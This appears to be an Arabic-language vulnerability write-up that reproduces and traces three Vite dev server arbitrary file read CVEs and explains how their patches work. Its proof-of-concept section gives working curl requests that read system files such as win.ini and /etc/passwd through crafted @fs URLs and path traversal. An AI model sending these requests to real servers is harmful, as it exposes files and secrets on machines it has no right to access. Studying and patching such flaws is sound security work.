
تحليل إعادة إنتاج سلسلة ثغرات CVE-2025-30208
CVE-2025-30208 وCVE-2025-31125 وCVE-2025-31486 هي ثغرات قراءة ملفات تعسفية في خادم التطوير Vite. تسمح هذه الثغرات للمهاجم بتجاوز ضوابط الوصول عبر معاملات URL محددة، وقراءة الملفات الحساسة على الخادم من خلال وحدة fs. يمكن اعتبار الثغرات الثلاث المذكورة أعلاه سلسلة واحدة من الثغرات، لأن الأسباب التي أدت إلى حدوثها متشابهة جدًا.
الإصدارات المتأثرة بـ CVE-2025-30208 هي كما يلي
>=6.2.0, <=6.2.2
>=6.1.0, <=6.1.1
>=6.0.0, <=6.0.11
>=5.0.0, <=5.4.14
<=4.5.9
الإصدارات المتأثرة بـ CVE-2025-31125 هي كما يلي
>=6.2.0, <=6.2.3
>=6.1.0, <=6.1.2
>=6.0.0, <=6.0.12
>=5.0.0, <=5.4.15
<=4.5.10
الإصدارات المتأثرة بـ CVE-2025-31486 هي كما يلي
>=6.2.0, <=6.2.4
>=6.1.0, <=6.1.3
>=6.0.0, <=6.0.13
>=5.0.0, <=5.4.16
<=4.5.11
لإعداد بيئة الثغرة محليًا من الصفر، ابدأ بإنشاء مشروع عبر create-vite
npm create vite@latest vuln-env -y -- --template vue-ts
cd vuln-env
قد تتضمن نسخة Vite في ملف package.json المُنشأ علامة ^ (مثل "vite": "^6.2.0")، لذا يجب تعديلها يدويًا إلى رقم إصدار دقيق (مثل "vite": "6.2.0")، ثم تنفيذ:
npm install
وأخيرًا ابدأ تشغيل البيئة:
npm run dev
يمكنك أيضًا استخدام مجلد vuln-env الموجود في هذا المستودع مباشرة، وبعد تنفيذ npm install ثم npm run dev سيعمل كل شيء.
لتسهيل الأمر، تمت إعادة إنتاج الثغرات الثلاث على الإصدار 6.2.0. نفّذ npm run dev وانتظر حتى تبدأ البيئة.

POC الخاص بـ CVE-2025-30208
curl "http://localhost:5173/@fs/c:/windows/win.ini?import&raw??"
curl "http://localhost:5173/@fs/c:/windows/win.ini?raw??" -H "sec-fetch-dest: script"

POC الخاص بـ CVE-2025-31125
curl "http://localhost:5173/@fs/c:/windows/win.ini?import&inline=1.wasm?init"
curl "http:/localhost:5173/@fs/c:/windows/win.ini?inline=1.wasm?init" -H "sec-fetch-dest: script"
المحتوى المقروء يكون مشفرًا بـ base64، وبعد فك التشفير يمكن الحصول على محتوى الملف الأصلي.

POC الخاص بـ CVE-2025-31486
curl "http://localhost:5173/@fs/c:/windows/win.ini?import&?.svg?.wasm?init"
curl "http://localhost:5173/@fs/c:/windows/win.ini?.svg?.wasm?init" -H "sec-fetch-dest: script"
POC الخاص بالقراءة عبر المسارات النسبية والمذكور في النشرة الأمنية هو كما يلي
curl 'http://127.0.0.1:5173/@fs/x/x/x/vite-project/?/../../../../../etc/passwd?import&?raw'
x يمثل مسار المشروع المحلي، وPOC للاختبار المحلي هو كما يلي
curl "http://localhost:5173/@fs/D:/PrograEnv/PythonEnv/pocsuite3/CVE-2025-30208/vuln-env/?/../../../../../../test.txt?import&?raw"
يمكن ملاحظة أن POC تنقسم أساسًا إلى فئتين: تلك التي لا تتطلب إضافة HTTP Header يجب أن تحتوي على ?import&. سنترك هذا الأمر جانبًا الآن، وسنشرحه في مرحلة تحليل الشيفرة المصدرية.
تحليل الشيفرة المصدرية يتطلب التصحيح، وهنا نصحح المشروع عبر vscode، ومحتوى ملف launch.json هو كما يلي.
{
"version": "0.1.0",
"configurations": [
{
"type": "node",
"request": "launch",
"name": "Debug Vite & Node Modules",
"runtimeExecutable": "npm",
"runtimeArgs": ["run", "dev"],
"skipFiles": ["<node_internals>/**"],
}
]
}
من خطة الإصلاح الرسمية، تم تعزيز عبارة if في دالة transformMiddleware الخاصة بالتحقق من تنسيق URL وتحديد ما إذا كان يمكن الوصول إلى الخدمة. لذا سنضع نقطة توقف في دالة transformMiddleware ونتابع عملية تحليل الطلب.

نظرًا لأن المشروع المُنشأ يحتوي فقط على ملفات js المترجمة، فسنضيف نقطة التوقف بالبحث عن الكلمة المفتاحية للدالة في الملف بأكمله.

عند تنفيذ POC، توقفنا بنجاح عند الدالة المستهدفة. يمكن ملاحظة أنه بعد تعيين بعض المتغيرات، تدخل عملية الاستدعاء إلى دالة viteTransformMiddleware، وبعد التحقق مما إذا كانت طريقة الطلب هي GET وما إذا كان الطلب موجهًا للدليل الجذر أو للأيقونة، تتم إزالة ? في نهاية الـ url عبر removeTimestampQuery.
/@fs/c:/windows/win.ini?import&raw??
⬇
/@fs/c:/windows/win.ini?import&raw?
عبر cleanUrl() يتم الحصول على URL بدون معاملات الطلب، وعندها تكون قيمة withoutQuery هي "/@fs/c:/windows/win.ini"، لذلك لن يتم الدخول إلى كتلة الكود if (!isSourceMap). بعد ذلك، يتم التحقق عبر publicDirInRoot مما إذا كان دليل الموارد الثابتة موجودًا في الدليل الجذر للمشروع، ويتحقق url.startsWith(publicPath) مما إذا كان URL المطلوب يبدأ بالمسار العام المُعدّ (مثل /public/). عندما يتحقق الشرطان معًا، يتم استدعاء warnAboutExplicitPublicPathInUrl(url) لإصدار تحذير. وهذا يشير عادةً إلى أن المطور ربما أضاف المسار العام بشكل مكرر خاطئ في الكود. لا يتوافق الـ URL مع الشروط، لذلك تم تجاوز كتلة الكود المقابلة أيضًا. نتيجة rawRE.test(url) وurlRE.test(url) كلاهما False، لذلك لا يتم تقييم نتيجة ensureServingAccess()، بل يتم تعيين نتيجة التعبير المنطقي مباشرة إلى False وتجاوز كتلة الكود. في عبارة if التالية مباشرة، يتوافق الـ URL مع الصيغة المعرّفة بواسطة ImportQueryRE فيدخل إلى محتوى كتلة if، ويتغير الـ URL عبر دالة removeImportQuery() إلى /@fs/c:/windows/win.ini?raw، ثم يُرسل إلى دالة transformRequest().
/@fs/c:/windows/win.ini?import&raw?
⬇
/@fs/c:/windows/win.ini?raw
في عبارة if الخاصة بالتحقق من isJSRequest(url)، يمكن ملاحظة أنها تتحقق أيضًا مما إذا كانت قيمة sec-fetch-dest في HTTP Header هي script، وإذا كانت كذلك فسيتم اجتياز التحقق أيضًا. وهذا هو سبب تقسيم POC إلى فئتين كما ذُكر سابقًا: إضافة HTTP Header و?import& كلاهما يهدف إلى اجتياز التحقق في عبارة if. (في الواقع يمكن اجتياز التحقق بطرق أخرى أيضًا، مثل عبر isHTMLProxy(url) -> /@fs/c:/windows/win.ini?html-proxy&raw??)

بعد معالجة المعاملات، وفحص البيئة، والتحقق من مفتاح التخزين المؤقت وطلبات التكرار، يتم الدخول إلى دالة doTransform().

بعد فحص صلاحية التخزين المؤقت، يتم تحليل URL /@fs/c:/windows/win.ini?raw للحصول على المعرف c:/windows/win.ini?raw، ثم الدخول إلى دالة loadAndTransform().

بعد بعض عمليات التعيين أيضًا، يتم تحميل الإضافات (plugins) بناءً على قيمة id. ترتيب تحميل الإضافات هو كما يلي
vite:optimized-deps
↓
vite:modulepreload-polyfill
↓
vite:resolve
↓
vite:html-inline-proxy
↓
vite:css
↓
vite:wasm-helper
↓
vite:worker
↓
vite:asset

سبب CVE-2025-30208 هو أن الـ URL الذي صمّمه المهاجم بدقة، بعد تحليله ومعالجته، اجتاز التحقق if (rawRE.test(id)) في إضافة assetPlugin، ثم أُرسل إلى دالة fsp.readFile() مما أدى إلى قراءة ملف محلي.

أما سبب CVE-2025-31125 فهو أن الـ URL بعد تحليله استوفى الشرط id.endsWith(".wasm?init") في إضافة wasmHelperPlugin، فأُرسل إلى دالة fileToUrl$1()، وبعد استيفاء inlineRE$2.test(id) أُرسل إلى دالة fsp.readFile() مما أدى إلى قراءة ملف محلي.

CVE-2025-31486 مشابهة جدًا لـ CVE-2025-31125. من مخطط تحليل CVE-2025-31125 يمكن ملاحظة أن دالة fileToDevUrl() تحتوي على عبارتي if فقط تحتويان على فحوصات regex؛ كتلة if التي تحتوي inlineRE$2.test(id) هي موضع تشغيل CVE-2025-31125، وكتلة if التالية مباشرة svgExtRE.test(id) هي موضع تشغيل CVE-2025-31486.
أما طريقة الاستغلال عبر المسار النسبي فهي تتجاوز التحقق من ensureServingAccess().
بعد دخول الـ url إلى دالة isFileServingAllowed()، تتم أولاً إزالة محتوى ?# وما بعده عبر cleanUrl() الموجودة في fsPathFromUrl()، وبالنسبة لـ url في POC سيحدث التغيير التالي
D:/PrograEnv/PythonEnv/pocsuite3/CVE-2025-30208/vuln-env/?/../../../../../../test.txt
⬇
D:/PrograEnv/PythonEnv/pocsuite3/CVE-2025-30208/vuln-env/
ثم يدخل الـ Url إلى isUriFilePath() داخل isFileLoadingAllowed() للتحقق، وبعد ذلك يجتاز فحص isParentDirectory().

من إصلاح الـ commit 262b5ec، نرى أن الطريقة التي اتخذها المطورون هي إزالة ? الزائد في نهاية المعاملات؛ وبهذا، عند مواجهة المعاملات لـ if ((rawRE.test(...) || urlRE.test(...)) && !ensureServingAccess(...)) ، فإن نجاح تطابق rawRE.test() يجعلها تدخل بشكل طبيعي إلى ensureServingAccess() للتحقق مما إذا كان الوصول إلى الخدمة مسموحًا به، مما يتجنب القراءة غير المصرح بها الناتجة عن قصر الدارة (short-circuit) في التعبير المنطقي قبل الإصلاح.

من إصلاح الـ Commit 5967313، نرى أن المطورين أضافوا regex inlineRE؛ وبهذا، فإن ?inline=1.wasm?init سيتم مطابقته بواسطة الـ regex، ثم يدخل بشكل طبيعي إلى ensureServingAccess() للتحقق مما إذا كان يمكن الوصول إلى الخدمة.

من إصلاح الـ Commit 62d7e81، نرى أن إصلاح المطورين يتضمن جزأين رئيسيين: الجزء الأول هو إضافة مطابقة regex جديدة svgRE للتعامل مع تجاوز .svg.

أما الجزء الثاني فهو للتعامل مع القراءة عبر المسارات النسبية، حيث يتم تنظيف المعامل id قبل إرساله إلى svgRe.test()، بحيث يكون المعامل المشارك في فحص svgRe.test() متطابقًا مع المعامل المشارك في بناء file.
